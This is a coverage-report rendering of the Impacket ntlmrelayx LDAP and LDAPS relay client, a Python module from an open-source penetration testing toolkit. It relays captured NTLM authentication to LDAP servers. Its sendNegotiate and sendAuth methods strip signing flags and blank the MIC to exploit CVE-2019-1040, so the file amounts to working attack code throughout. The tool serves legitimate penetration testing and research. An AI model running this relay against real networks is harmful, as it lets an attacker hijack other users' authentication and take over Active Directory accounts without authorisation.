Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# LDAP Protocol Client 

11# LDAP client for relaying NTLMSSP authentication to LDAP servers 

12# The way of using the ldap3 library is quite hacky, but its the best 

13# way to make the lib do things it wasn't designed to without touching 

14# its code 

15# 

16# Author: 

17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

18# Alberto Solino (@agsolino) 

19# 

20import sys 

21from struct import unpack 

22from impacket import LOG 

23from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD 

24from ldap3.operation import bind 

25try: 

26 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 

27except ImportError: 

28 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'") 

29 sys.exit(1) 

30 

31from impacket.examples.ntlmrelayx.clients import ProtocolClient 

32from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

33from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION 

34from impacket.spnego import SPNEGO_NegTokenResp 

35 

36PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 

37 

38class LDAPRelayClientException(Exception): 

39 pass 

40 

41class LDAPRelayClient(ProtocolClient): 

42 PLUGIN_NAME = "LDAP" 

43 MODIFY_ADD = MODIFY_ADD 

44 

45 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 

46 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

47 self.extendedSecurity = extendedSecurity 

48 self.negotiateMessage = None 

49 self.authenticateMessageBlob = None 

50 self.server = None 

51 

52 def killConnection(self): 

53 if self.session is not None: 

54 self.session.socket.close() 

55 self.session = None 

56 

57 def initConnection(self): 

58 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

59 self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

60 self.session.open(False) 

61 return True 

62 

63 def sendNegotiate(self, negotiateMessage): 

64 negoMessage = NTLMAuthNegotiate() 

65 negoMessage.fromString(negotiateMessage) 

66 

67 # When exploiting CVE-2019-1040, remove message signing flag 

68 # For SMB->LDAP this is required otherwise it triggers LDAP signing 

69 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM 

70 if self.serverConfig.remove_mic: 

71 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

72 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

73 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

74 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

75 

76 self.negotiateMessage = negoMessage.getData() 

77 

78 # Warn if the relayed target requests signing, which will break our attack 

79 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

80 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') 

81 

82 with self.session.connection_lock: 

83 if not self.session.sasl_in_progress: 

84 self.session.sasl_in_progress = True 

85 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') 

86 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

87 result = response[0] 

88 try: 

89 sicily_packages = result['server_creds'].decode('ascii').split(';') 

90 except KeyError: 

91 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) 

92 

93 if 'NTLM' in sicily_packages: # NTLM available on server 

94 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) 

95 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

96 result = response[0] 

97 if result['result'] == RESULT_SUCCESS: 

98 challenge = NTLMAuthChallenge() 

99 challenge.fromString(result['server_creds']) 

100 return challenge 

101 else: 

102 raise LDAPRelayClientException('Server did not offer NTLM authentication!') 

103 

104 #This is a fake function for ldap3 which wants an NTLM client with specific methods 

105 def create_negotiate_message(self): 

106 return self.negotiateMessage 

107 

108 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

109 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

110 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

111 token = respToken2['ResponseToken'] 

112 else: 

113 token = authenticateMessageBlob 

114 

115 authMessage = NTLMAuthChallengeResponse() 

116 authMessage.fromString(token) 

117 # When exploiting CVE-2019-1040, remove flags 

118 if self.serverConfig.remove_mic: 

119 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

120 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

121 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

122 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

123 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

124 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

125 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

126 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

127 authMessage['MIC'] = b'' 

128 authMessage['MICLen'] = 0 

129 authMessage['Version'] = b'' 

130 authMessage['VersionLen'] = 0 

131 token = authMessage.getData() 

132 

133 with self.session.connection_lock: 

134 self.authenticateMessageBlob = token 

135 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) 

136 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

137 result = response[0] 

138 self.session.sasl_in_progress = False 

139 

140 if result['result'] == RESULT_SUCCESS: 

141 self.session.bound = True 

142 self.session.refresh_server_info() 

143 return None, STATUS_SUCCESS 

144 else: 

145 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': 

146 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') 

147 return None, STATUS_ACCESS_DENIED 

148 

149 #This is a fake function for ldap3 which wants an NTLM client with specific methods 

150 def create_authenticate_message(self): 

151 return self.authenticateMessageBlob 

152 

153 #Placeholder function for ldap3 

154 def parse_challenge_message(self, message): 

155 pass 

156 

157class LDAPSRelayClient(LDAPRelayClient): 

158 PLUGIN_NAME = "LDAPS" 

159 MODIFY_ADD = MODIFY_ADD 

160 

161 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 

162 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

163 

164 def initConnection(self): 

165 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

166 self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

167 self.session.open(False) 

168 return True